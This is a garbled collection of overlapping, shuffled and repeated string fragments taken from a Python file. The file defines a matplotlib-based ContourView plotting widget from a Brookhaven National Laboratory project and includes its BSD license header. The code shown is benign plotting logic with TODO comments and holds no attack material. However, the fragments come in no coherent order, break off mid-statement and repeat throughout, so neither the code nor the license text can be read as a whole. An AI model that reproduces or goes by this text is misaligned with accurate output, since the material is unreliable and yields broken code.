TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING # # IN ANY WAY OUT", "the # # distribution. # # # # * Neither the name of", "its contributors may be used # # to endorse or promote products derived", "# length? num_coords = len(self._data[keys[0]][0]) # declare the array self._data_arr = np.zeros((num_keys, num_coords))", "# # POSSIBILITY OF SUCH DAMAGE. # ######################################################################## from __future__ import (absolute_import, division,", "__init__ docstring Parameters ---------- fig : figure to draw the artists on x_data", "get the (x,y) data from the dictionary (x, y) = self._data[key] # add", "and the following disclaimer. # # # # * Redistributions in binary form", "SUCH DAMAGE. # ######################################################################## from __future__ import (absolute_import, division, print_function, unicode_literals) import six", "the main axes for key in self._data.keys(): # get the (x,y) data from", "FITNESS # # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL", "array self._data_arr[counter] = y # decrement the counter counter -= 1 # get", "the following disclaimer. # # # # * Redistributions in binary form must", "EVENT SHALL THE # # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY", "keys from the dict keys = list(six.iterkeys(self._data)) # number of datasets in the", "# # notice, this list of conditions and the following disclaimer. # #", "CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR", "# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # #", "that the following conditions # # are met: # # # # *", "if num_keys < 1: return # set the local counter counter = num_keys", "Redistributions of source code must retain the above copyright # # notice, this", "import AbstractMPLDataView from .. import AbstractDataView2D import logging logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D,", "binary form must reproduce the above copyright # # notice this list of", "PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # # COPYRIGHT HOLDER", "all datasets are the same # length? num_coords = len(self._data[keys[0]][0]) # declare the", "to the array self._data_arr[counter] = y # decrement the counter counter -= 1", ".. import AbstractDataView2D import logging logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The", "(x,y) data from the dictionary (x, y) = self._data[key] # add the data", "data dict num_keys = len(keys) # cannot plot data if there are no", "of conditions and the following disclaimer in # # the documentation and/or other", "fig, data_list=None, cmap=None, norm=None, *args, **kwargs): \"\"\" __init__ docstring Parameters ---------- fig :", "of source code must retain the above copyright # # notice, this list", "list list of vectors of y-coordinates lbls : list list of the names", "without # # specific prior written permission. # # # # THIS SOFTWARE", "constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args, **kwargs) # create the matplotlib axes", "or without # # modification, are permitted provided that the following conditions #", "THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # # \"AS", "THE COPYRIGHT HOLDERS AND CONTRIBUTORS # # \"AS IS\" AND ANY EXPRESS OR", "THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # # FOR A PARTICULAR PURPOSE", "CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # # STRICT", "OF LIABILITY, WHETHER IN CONTRACT, # # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE", "= np.arange(len(keys)) # TODO: Colormap initialization is not working properly. self._ax.contourf(x, y, self._data_arr)", "distribution. # # # # * Neither the name of the Brookhaven Science", "in self._data.keys(): # get the (x,y) data from the dictionary (x, y) =", "replot method # get the keys from the dict keys = list(six.iterkeys(self._data)) #", "# declare the array self._data_arr = np.zeros((num_keys, num_coords)) # add the data to", "BUT NOT # # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS", "# ######################################################################## from __future__ import (absolute_import, division, print_function, unicode_literals) import six import numpy", "used # # to endorse or promote products derived from this software without", "SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # # \"AS IS\"", "endorse or promote products derived from this software without # # specific prior", "as a contour plot, starting from dataset 0 at y = 0 \"\"\"", "*args, **kwargs): \"\"\" __init__ docstring Parameters ---------- fig : figure to draw the", "name of the Brookhaven Science Associates, Brookhaven # # National Laboratory nor the", "# # # # * Neither the name of the Brookhaven Science Associates,", "fig : figure to draw the artists on x_data : list list of", "main axes for key in self._data.keys(): # get the (x,y) data from the", "TO, PROCUREMENT OF SUBSTITUTE GOODS OR # # SERVICES; LOSS OF USE, DATA,", "adding new data \"\"\" # TODO: This class was originally written to convert", "replot(self): \"\"\" Override Replot the data after modifying a display parameter (e.g., offset", "1-D data sets as a contour plot, starting from dataset 0 at y", "= logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView provides a UI widget for", "LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # # FOR A", "counter counter -= 1 # get the first dataset to get the x", "source and binary forms, with or without # # modification, are permitted provided", "the dictionary (x, y) = self._data[key] # add the data to the array", "keys = list(six.iterkeys(self._data)) # number of datasets in the data dict num_keys =", "# the documentation and/or other materials provided with the # # distribution. #", "the x axis and number of y datasets x, y = self._data[keys[0]] y", "# National Laboratory nor the names of its contributors may be used #", "num_coords = len(self._data[keys[0]][0]) # declare the array self._data_arr = np.zeros((num_keys, num_coords)) # add", "# add the data to the array self._data_arr[counter] = y # decrement the", "NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # # SERVICES; LOSS OF", "the parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args, **kwargs) # create the", "# # National Laboratory nor the names of its contributors may be used", "source code must retain the above copyright # # notice, this list of", "counter counter = num_keys - 1 # @tacaswell Should it be required that", "# # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # #", "THE # # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, #", "Replot the data after modifying a display parameter (e.g., offset or autoscaling) or", "(x, y) = self._data[key] # add the data to the array self._data_arr[counter] =", "# 2-D contour. Rewrite this replot method # get the keys from the", "# # \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT", "the counter counter -= 1 # get the first dataset to get the", "INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT NOT LIMITED TO,", "of 1-D data sets as a contour plot, starting from dataset 0 at", "copyright # # notice, this list of conditions and the following disclaimer. #", "of the Brookhaven Science Associates, Brookhaven # # National Laboratory nor the names", "1 # get the first dataset to get the x axis and number", "DAMAGES # # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR", "this software without # # specific prior written permission. # # # #", "* Redistributions of source code must retain the above copyright # # notice,", "a number of 1-D data sets as a contour plot, starting from dataset", "NOT # # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS #", "# modification, are permitted provided that the following conditions # # are met:", "Neither the name of the Brookhaven Science Associates, Brookhaven # # National Laboratory", ".. import QtCore, QtGui from . import AbstractMPLDataView from .. import AbstractDataView2D import", "new data \"\"\" # TODO: This class was originally written to convert a", "this list of conditions and the following disclaimer. # # # # *", "1, 1) self._ax.set_aspect('equal') # plot the data self.replot() def replot(self): \"\"\" Override Replot", "# cannot plot data if there are no keys if num_keys < 1:", "the data dict num_keys = len(keys) # cannot plot data if there are", "# specific prior written permission. # # # # THIS SOFTWARE IS PROVIDED", ": colormap that matplotlib understands norm : mpl.colors.Normalize \"\"\" # set some defaults", "of each data set cmap : colormap that matplotlib understands norm : mpl.colors.Normalize", "the above copyright # # notice, this list of conditions and the following", "= self._data[key] # add the data to the array self._data_arr[counter] = y #", "UI widget for viewing a number of 1-D data sets as a contour", "OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND", "counter = num_keys - 1 # @tacaswell Should it be required that all", "key in self._data.keys(): # get the (x,y) data from the dictionary (x, y)", "list of conditions and the following disclaimer. # # # # * Redistributions", "# are met: # # # # * Redistributions of source code must", "WARRANTIES OF MERCHANTABILITY AND FITNESS # # FOR A PARTICULAR PURPOSE ARE DISCLAIMED.", "disclaimer. # # # # * Redistributions in binary form must reproduce the", "\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # #", "provides a UI widget for viewing a number of 1-D data sets as", "first dataset to get the x axis and number of y datasets x,", "written permission. # # # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT", "= y # decrement the counter counter -= 1 # get the first", "Redistribution and use in source and binary forms, with or without # #", "1: return # set the local counter counter = num_keys - 1 #", "A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # # COPYRIGHT", "IMPLIED WARRANTIES, INCLUDING, BUT NOT # # LIMITED TO, THE IMPLIED WARRANTIES OF", "list list of vectors of x-coordinates y_data : list list of vectors of", "notice this list of conditions and the following disclaimer in # # the", "method # get the keys from the dict keys = list(six.iterkeys(self._data)) # number", "Associates, Brookhaven # # National Laboratory. All rights reserved. # # # #", "# set some defaults # no defaults yet # call the parent constructors", "axis and number of y datasets x, y = self._data[keys[0]] y = np.arange(len(keys))", "HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL,", "understands norm : mpl.colors.Normalize \"\"\" # set some defaults # no defaults yet", "counter -= 1 # get the first dataset to get the x axis", "OF MERCHANTABILITY AND FITNESS # # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN", "= self._data[keys[0]] y = np.arange(len(keys)) # TODO: Colormap initialization is not working properly.", "-= 1 # get the first dataset to get the x axis and", "the documentation and/or other materials provided with the # # distribution. # #", "keys if num_keys < 1: return # set the local counter counter =", "THIS SOFTWARE, EVEN IF ADVISED OF THE # # POSSIBILITY OF SUCH DAMAGE.", "are met: # # # # * Redistributions of source code must retain", "axes for key in self._data.keys(): # get the (x,y) data from the dictionary", "2014, Brookhaven Science Associates, Brookhaven # # National Laboratory. All rights reserved. #", "the Brookhaven Science Associates, Brookhaven # # National Laboratory nor the names of", "y = np.arange(len(keys)) # TODO: Colormap initialization is not working properly. self._ax.contourf(x, y,", "# # Redistribution and use in source and binary forms, with or without", "LIABLE FOR ANY DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES", "defaults yet # call the parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args,", "ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF", "The ContourView provides a UI widget for viewing a number of 1-D data", "# Copyright (c) 2014, Brookhaven Science Associates, Brookhaven # # National Laboratory. All", "import QtCore, QtGui from . import AbstractMPLDataView from .. import AbstractDataView2D import logging", "THE # # POSSIBILITY OF SUCH DAMAGE. # ######################################################################## from __future__ import (absolute_import,", ": list list of vectors of y-coordinates lbls : list list of the", ": mpl.colors.Normalize \"\"\" # set some defaults # no defaults yet # call", "Laboratory nor the names of its contributors may be used # # to", "###################################################################### # Copyright (c) 2014, Brookhaven Science Associates, Brookhaven # # National Laboratory.", "above copyright # # notice this list of conditions and the following disclaimer", "OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,", "# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # # INDIRECT,", "from dataset 0 at y = 0 \"\"\" def __init__(self, fig, data_list=None, cmap=None,", "__init__(self, fig, data_list=None, cmap=None, norm=None, *args, **kwargs): \"\"\" __init__ docstring Parameters ---------- fig", "GOODS OR # # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS", "---------- fig : figure to draw the artists on x_data : list list", "# # # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND", "offset or autoscaling) or adding new data \"\"\" # TODO: This class was", "# # distribution. # # # # * Neither the name of the", "= 0 \"\"\" def __init__(self, fig, data_list=None, cmap=None, norm=None, *args, **kwargs): \"\"\" __init__", "# plot the data self.replot() def replot(self): \"\"\" Override Replot the data after", "# get the (x,y) data from the dictionary (x, y) = self._data[key] #", "# # IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN", "sets as a contour plot, starting from dataset 0 at y = 0", "decrement the counter counter -= 1 # get the first dataset to get", "norm=None, *args, **kwargs): \"\"\" __init__ docstring Parameters ---------- fig : figure to draw", "num_keys = len(keys) # cannot plot data if there are no keys if", "docstring Parameters ---------- fig : figure to draw the artists on x_data :", "return # set the local counter counter = num_keys - 1 # @tacaswell", "matplotlib understands norm : mpl.colors.Normalize \"\"\" # set some defaults # no defaults", "# # # # * Redistributions in binary form must reproduce the above", "\"\"\" __init__ docstring Parameters ---------- fig : figure to draw the artists on", "# @tacaswell Should it be required that all datasets are the same #", "at y = 0 \"\"\" def __init__(self, fig, data_list=None, cmap=None, norm=None, *args, **kwargs):", "self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') # plot the data self.replot() def replot(self): \"\"\" Override", "FOR ANY DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES #", "parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args, **kwargs) # create the matplotlib", "autoscaling) or adding new data \"\"\" # TODO: This class was originally written", "AND FITNESS # # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT", "OR # # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)", "This class was originally written to convert a 1-D stack into a #", "# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # #", "length? num_coords = len(self._data[keys[0]][0]) # declare the array self._data_arr = np.zeros((num_keys, num_coords)) #", "materials provided with the # # distribution. # # # # * Neither", "National Laboratory nor the names of its contributors may be used # #", "six import numpy as np from .. import QtCore, QtGui from . import", "the local counter counter = num_keys - 1 # @tacaswell Should it be", "All rights reserved. # # # # Redistribution and use in source and", "originally written to convert a 1-D stack into a # 2-D contour. Rewrite", "from .. import AbstractDataView2D import logging logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\"", "norm : mpl.colors.Normalize \"\"\" # set some defaults # no defaults yet #", "BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # # \"AS IS\" AND ANY EXPRESS", "Override Replot the data after modifying a display parameter (e.g., offset or autoscaling)", "# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT NOT", "and use in source and binary forms, with or without # # modification,", "draw the artists on x_data : list list of vectors of x-coordinates y_data", "# National Laboratory. All rights reserved. # # # # Redistribution and use", "each data set cmap : colormap that matplotlib understands norm : mpl.colors.Normalize \"\"\"", "dict keys = list(six.iterkeys(self._data)) # number of datasets in the data dict num_keys", "artists on x_data : list list of vectors of x-coordinates y_data : list", "OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # # LIMITED TO, THE IMPLIED WARRANTIES", "# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE #", "and/or other materials provided with the # # distribution. # # # #", "super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args, **kwargs) # create the matplotlib axes self._ax", "# # National Laboratory. All rights reserved. # # # # Redistribution and", "cmap : colormap that matplotlib understands norm : mpl.colors.Normalize \"\"\" # set some", "np.zeros((num_keys, num_coords)) # add the data to the main axes for key in", "# # # * Redistributions in binary form must reproduce the above copyright", "prior written permission. # # # # THIS SOFTWARE IS PROVIDED BY THE", "MERCHANTABILITY AND FITNESS # # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO", "QtGui from . import AbstractMPLDataView from .. import AbstractDataView2D import logging logger =", "mpl.colors.Normalize \"\"\" # set some defaults # no defaults yet # call the", "the name of the Brookhaven Science Associates, Brookhaven # # National Laboratory nor", "POSSIBILITY OF SUCH DAMAGE. # ######################################################################## from __future__ import (absolute_import, division, print_function, unicode_literals)", "self._data.keys(): # get the (x,y) data from the dictionary (x, y) = self._data[key]", "self._ax = self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') # plot the data self.replot() def replot(self):", "vectors of y-coordinates lbls : list list of the names of each data", "to convert a 1-D stack into a # 2-D contour. Rewrite this replot", "add the data to the array self._data_arr[counter] = y # decrement the counter", "# # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) #", "# set the local counter counter = num_keys - 1 # @tacaswell Should", "plot the data self.replot() def replot(self): \"\"\" Override Replot the data after modifying", "INCLUDING, BUT NOT # # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND", "data_list=None, cmap=None, norm=None, *args, **kwargs): \"\"\" __init__ docstring Parameters ---------- fig : figure", "def replot(self): \"\"\" Override Replot the data after modifying a display parameter (e.g.,", "names of its contributors may be used # # to endorse or promote", "to the main axes for key in self._data.keys(): # get the (x,y) data", "following conditions # # are met: # # # # * Redistributions of", "of y datasets x, y = self._data[keys[0]] y = np.arange(len(keys)) # TODO: Colormap", "import six import numpy as np from .. import QtCore, QtGui from .", "Associates, Brookhaven # # National Laboratory nor the names of its contributors may", "IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED", "are the same # length? num_coords = len(self._data[keys[0]][0]) # declare the array self._data_arr", "TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING # # IN ANY WAY OUT OF THE", "Science Associates, Brookhaven # # National Laboratory. All rights reserved. # # #", "after modifying a display parameter (e.g., offset or autoscaling) or adding new data", "the names of its contributors may be used # # to endorse or", "call the parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args, **kwargs) # create", "datasets x, y = self._data[keys[0]] y = np.arange(len(keys)) # TODO: Colormap initialization is", "use in source and binary forms, with or without # # modification, are", "stack into a # 2-D contour. Rewrite this replot method # get the", "with the # # distribution. # # # # * Neither the name", "LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # # SERVICES; LOSS OF USE,", "- 1 # @tacaswell Should it be required that all datasets are the", "contour. Rewrite this replot method # get the keys from the dict keys", "data to the main axes for key in self._data.keys(): # get the (x,y)", "SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER", "AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # # LIMITED TO,", "y = 0 \"\"\" def __init__(self, fig, data_list=None, cmap=None, norm=None, *args, **kwargs): \"\"\"", "a # 2-D contour. Rewrite this replot method # get the keys from", "ANY DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # #", "@tacaswell Should it be required that all datasets are the same # length?", "software without # # specific prior written permission. # # # # THIS", "LIABILITY, WHETHER IN CONTRACT, # # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OTHERWISE)", "reproduce the above copyright # # notice this list of conditions and the", "there are no keys if num_keys < 1: return # set the local", "self._data[keys[0]] y = np.arange(len(keys)) # TODO: Colormap initialization is not working properly. self._ax.contourf(x,", "defaults # no defaults yet # call the parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig,", "y # decrement the counter counter -= 1 # get the first dataset", "ContourView provides a UI widget for viewing a number of 1-D data sets", "provided with the # # distribution. # # # # * Neither the", "# # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING # # IN", "TODO: Colormap initialization is not working properly. self._ax.contourf(x, y, self._data_arr) # , cmap=colors.Colormap(self._cmap))", "code must retain the above copyright # # notice, this list of conditions", "conditions and the following disclaimer. # # # # * Redistributions in binary", ". import AbstractMPLDataView from .. import AbstractDataView2D import logging logger = logging.getLogger(__name__) class", "AbstractDataView2D import logging logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView provides", "COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # # INDIRECT, INCIDENTAL,", "USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND ON", "with or without # # modification, are permitted provided that the following conditions", "OR CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE", "THEORY OF LIABILITY, WHETHER IN CONTRACT, # # STRICT LIABILITY, OR TORT (INCLUDING", "2-D contour. Rewrite this replot method # get the keys from the dict", "PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND ON ANY THEORY OF", "of vectors of x-coordinates y_data : list list of vectors of y-coordinates lbls", "contour plot, starting from dataset 0 at y = 0 \"\"\" def __init__(self,", "modifying a display parameter (e.g., offset or autoscaling) or adding new data \"\"\"", "# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # #", "datasets are the same # length? num_coords = len(self._data[keys[0]][0]) # declare the array", "IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # # \"AS IS\" AND", "Laboratory. All rights reserved. # # # # Redistribution and use in source", "self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args, **kwargs) # create the matplotlib axes self._ax =", "INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT NOT LIMITED", "LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED", "import AbstractDataView2D import logging logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView", "no keys if num_keys < 1: return # set the local counter counter", "derived from this software without # # specific prior written permission. # #", "met: # # # # * Redistributions of source code must retain the", "# notice this list of conditions and the following disclaimer in # #", "contributors may be used # # to endorse or promote products derived from", "# TODO: Colormap initialization is not working properly. self._ax.contourf(x, y, self._data_arr) # ,", "WARRANTIES, INCLUDING, BUT NOT # # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY", "CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS", "self.replot() def replot(self): \"\"\" Override Replot the data after modifying a display parameter", "in binary form must reproduce the above copyright # # notice this list", "for viewing a number of 1-D data sets as a contour plot, starting", "# # * Redistributions in binary form must reproduce the above copyright #", "__future__ import (absolute_import, division, print_function, unicode_literals) import six import numpy as np from", "array self._data_arr = np.zeros((num_keys, num_coords)) # add the data to the main axes", "that all datasets are the same # length? num_coords = len(self._data[keys[0]][0]) # declare", "OF THE # # POSSIBILITY OF SUCH DAMAGE. # ######################################################################## from __future__ import", "the data self.replot() def replot(self): \"\"\" Override Replot the data after modifying a", "TODO: This class was originally written to convert a 1-D stack into a", "following disclaimer in # # the documentation and/or other materials provided with the", "class was originally written to convert a 1-D stack into a # 2-D", "set some defaults # no defaults yet # call the parent constructors super(ContourView,", "get the first dataset to get the x axis and number of y", "IN NO EVENT SHALL THE # # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE", "# # # # Redistribution and use in source and binary forms, with", "the keys from the dict keys = list(six.iterkeys(self._data)) # number of datasets in", "the dict keys = list(six.iterkeys(self._data)) # number of datasets in the data dict", "NEGLIGENCE OTHERWISE) ARISING # # IN ANY WAY OUT OF THE USE OF", "self._ax.set_aspect('equal') # plot the data self.replot() def replot(self): \"\"\" Override Replot the data", "AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # # STRICT LIABILITY,", "np.arange(len(keys)) # TODO: Colormap initialization is not working properly. self._ax.contourf(x, y, self._data_arr) #", "######################################################################## from __future__ import (absolute_import, division, print_function, unicode_literals) import six import numpy as", "may be used # # to endorse or promote products derived from this", "permitted provided that the following conditions # # are met: # # #", "THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # # POSSIBILITY", "National Laboratory. All rights reserved. # # # # Redistribution and use in", "# # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR #", "1-D stack into a # 2-D contour. Rewrite this replot method # get", "the following disclaimer in # # the documentation and/or other materials provided with", "data self.replot() def replot(self): \"\"\" Override Replot the data after modifying a display", "add the data to the main axes for key in self._data.keys(): # get", "AbstractMPLDataView from .. import AbstractDataView2D import logging logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView):", "the (x,y) data from the dictionary (x, y) = self._data[key] # add the", "division, print_function, unicode_literals) import six import numpy as np from .. import QtCore,", ": figure to draw the artists on x_data : list list of vectors", "the artists on x_data : list list of vectors of x-coordinates y_data :", "in # # the documentation and/or other materials provided with the # #", "print_function, unicode_literals) import six import numpy as np from .. import QtCore, QtGui", "forms, with or without # # modification, are permitted provided that the following", "1) self._ax.set_aspect('equal') # plot the data self.replot() def replot(self): \"\"\" Override Replot the", "# get the keys from the dict keys = list(six.iterkeys(self._data)) # number of", "names of each data set cmap : colormap that matplotlib understands norm :", "USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # # POSSIBILITY OF", "# # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS", "# add the data to the main axes for key in self._data.keys(): #", "lbls : list list of the names of each data set cmap :", "# # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT", "it be required that all datasets are the same # length? num_coords =", "was originally written to convert a 1-D stack into a # 2-D contour.", "# # specific prior written permission. # # # # THIS SOFTWARE IS", "of x-coordinates y_data : list list of vectors of y-coordinates lbls : list", "SUBSTITUTE GOODS OR # # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR", "AND CONTRIBUTORS # # \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,", "ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # # STRICT LIABILITY, OR", "binary forms, with or without # # modification, are permitted provided that the", "COPYRIGHT HOLDERS AND CONTRIBUTORS # # \"AS IS\" AND ANY EXPRESS OR IMPLIED", "form must reproduce the above copyright # # notice this list of conditions", "# call the parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args, **kwargs) #", "DISCLAIMED. IN NO EVENT SHALL THE # # COPYRIGHT HOLDER OR CONTRIBUTORS BE", "< 1: return # set the local counter counter = num_keys - 1", "of y-coordinates lbls : list list of the names of each data set", "data set cmap : colormap that matplotlib understands norm : mpl.colors.Normalize \"\"\" #", "notice, this list of conditions and the following disclaimer. # # # #", "np from .. import QtCore, QtGui from . import AbstractMPLDataView from .. import", "ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # # STRICT LIABILITY, OR TORT", "# * Neither the name of the Brookhaven Science Associates, Brookhaven # #", "a UI widget for viewing a number of 1-D data sets as a", "(INCLUDING NEGLIGENCE OTHERWISE) ARISING # # IN ANY WAY OUT OF THE USE", "list of vectors of y-coordinates lbls : list list of the names of", "in source and binary forms, with or without # # modification, are permitted", "for key in self._data.keys(): # get the (x,y) data from the dictionary (x,", "Redistributions in binary form must reproduce the above copyright # # notice this", "SHALL THE # # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,", "some defaults # no defaults yet # call the parent constructors super(ContourView, self).__init__(data_list=data_list,", "y-coordinates lbls : list list of the names of each data set cmap", "if there are no keys if num_keys < 1: return # set the", "OTHERWISE) ARISING # # IN ANY WAY OUT OF THE USE OF THIS", "that matplotlib understands norm : mpl.colors.Normalize \"\"\" # set some defaults # no", "# # # Redistribution and use in source and binary forms, with or", "FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # #", "display parameter (e.g., offset or autoscaling) or adding new data \"\"\" # TODO:", "# ###################################################################### # Copyright (c) 2014, Brookhaven Science Associates, Brookhaven # # National", "viewing a number of 1-D data sets as a contour plot, starting from", "x_data : list list of vectors of x-coordinates y_data : list list of", "class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView provides a UI widget for viewing a", "self._data_arr = np.zeros((num_keys, num_coords)) # add the data to the main axes for", "OF SUCH DAMAGE. # ######################################################################## from __future__ import (absolute_import, division, print_function, unicode_literals) import", "dataset 0 at y = 0 \"\"\" def __init__(self, fig, data_list=None, cmap=None, norm=None,", "the matplotlib axes self._ax = self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') # plot the data", "from the dictionary (x, y) = self._data[key] # add the data to the", "above copyright # # notice, this list of conditions and the following disclaimer.", "# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # # FOR", "no defaults yet # call the parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm,", "list(six.iterkeys(self._data)) # number of datasets in the data dict num_keys = len(keys) #", "# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING # # IN ANY", "# Redistribution and use in source and binary forms, with or without #", "SOFTWARE, EVEN IF ADVISED OF THE # # POSSIBILITY OF SUCH DAMAGE. #", "Brookhaven Science Associates, Brookhaven # # National Laboratory nor the names of its", "the array self._data_arr = np.zeros((num_keys, num_coords)) # add the data to the main", "# * Redistributions in binary form must reproduce the above copyright # #", "WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE", "# # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,", "# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, #", "num_keys < 1: return # set the local counter counter = num_keys -", "disclaimer in # # the documentation and/or other materials provided with the #", "products derived from this software without # # specific prior written permission. #", "Brookhaven Science Associates, 